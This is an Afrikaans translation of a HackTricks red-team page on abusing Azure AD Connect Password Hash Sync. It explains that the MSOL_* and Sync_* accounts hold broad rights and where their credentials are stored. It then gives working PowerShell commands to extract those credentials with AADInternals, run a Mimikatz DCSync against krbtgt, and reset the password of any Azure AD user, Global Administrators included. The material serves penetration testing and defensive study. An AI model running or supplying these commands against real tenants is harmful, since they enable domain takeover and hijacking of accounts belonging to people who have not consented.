Az - PHS - Password Hash Sync

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Van die dokumente: Wagwoordhassinkronisasie is een van die aanmeldingsmetodes wat gebruik word om hibriede identiteit te bereik. Azure AD Connect sinkroniseer 'n hassinkronisasie, van die hassinkronisasie, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory-instantie na 'n wolkgebaseerde Azure AD-instantie.

Dit is die mees algemene metode wat deur maatskappye gebruik word om 'n plaaslike AD met Azure AD te sinkroniseer.

Alle gebruikers en 'n hassinkronisasie van die wagwoordhassies word gesinkroniseer vanaf die plaaslike na Azure AD. Tog word klarteks-wagwoorde of die oorspronklike hassies nie na Azure AD gestuur nie. Verder word Ingeboude sekuriteitsgroepe (soos domeinadministrateurs...) nie gesinkroniseer na Azure AD nie.

Die hassinkronisasie vind elke 2 minute plaas. Tog word standaard wagwoordverval en rekeningverval nie gesinkroniseer in Azure AD nie. Dus kan 'n gebruiker wie se plaaslike wagwoord verval het (nie verander nie) voortgaan om Azure-hulpbronne te benader met die ou wagwoord.

Wanneer 'n plaaslike gebruiker 'n Azure-hulpbron wil benader, vind die verifikasie plaas op Azure AD.

PHS is nodig vir funksies soos Identiteitsbeskerming en AAD-domeindienste.

Pivoting

Wanneer PHS gekonfigureer is, word sommige bevoorregte rekeninge outomaties geskep:

  • Die rekening MSOL_<installationID> word outomaties geskep in die plaaslike AD. Hierdie rekening kry 'n Directory Synchronization Accounts-rol (sien dokumentasie) wat beteken dat dit replikasie (DCSync)-regte in die plaaslike AD het.

  • 'n rekening Sync_<naam van plaaslike ADConnect-bediener>_installationID word geskep in Azure AD. Hierdie rekening kan die wagwoord van ENIGE gebruiker (gesinkroniseer of slegs wolk) in Azure AD herstel.

Die wagwoorde van die twee vorige bevoorregte rekeninge word gestoor in 'n SQL-bediener op die bediener waar Azure AD Connect geïnstalleer is. Admins kan die wagwoorde van daardie bevoorregte gebruikers in klarteks onttrek. Die databasis is geleë in C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Dit is moontlik om die konfigurasie uit een van die tabelle te onttrek, waarvan een versleutel is:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Die versleutelde konfigurasie is versleutel met DPAPI en dit bevat die wagwoorde van die MSOL_*-gebruiker in die plaaslike AD en die wagwoord van Sync_* in AzureAD. Daarom, deur hierdie te kompromiteer, is dit moontlik om te privesc na die AD en na AzureAD.

Jy kan 'n volledige oorsig van hoe hierdie geloofsbriewe gestoor en ontsluit word in hierdie geselskap vind.

Vind die Azure AD Connect-bediener

As die bediener waarop Azure AD Connect geïnstalleer is domein saamgevoeg is (aanbeveel in die dokumente), is dit moontlik om dit te vind met:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Misbruik van MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Jy kan ook adconnectdump gebruik om hierdie geloofsbriewe te verkry.

Misbruik van Sync_*

Deur die Sync_*-rekening te kompromiteer, is dit moontlik om die wagwoord van enige gebruiker (insluitend Globale Administrateurs) te herstel.

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Dit is ook moontlik om die wagwoorde van slegs wolkkas gebruikers te wysig (selfs al is dit onverwags).

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Dit is ook moontlik om die wagwoord van hierdie gebruiker te dump.

'n Ander opsie sou wees om bevoorregte regte aan 'n diensprinsipaal toe te ken, wat die Sync-gebruiker die regte het om te doen, en dan daardie diensprinsipaal te toegang as 'n manier van privesc.

Naadloos SSO

Dit is moontlik om Naadloos SSO met PHS te gebruik, wat vatbaar is vir ander misbruik. Kontroleer dit in:

pageAz - Seamless SSO

Verwysings

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated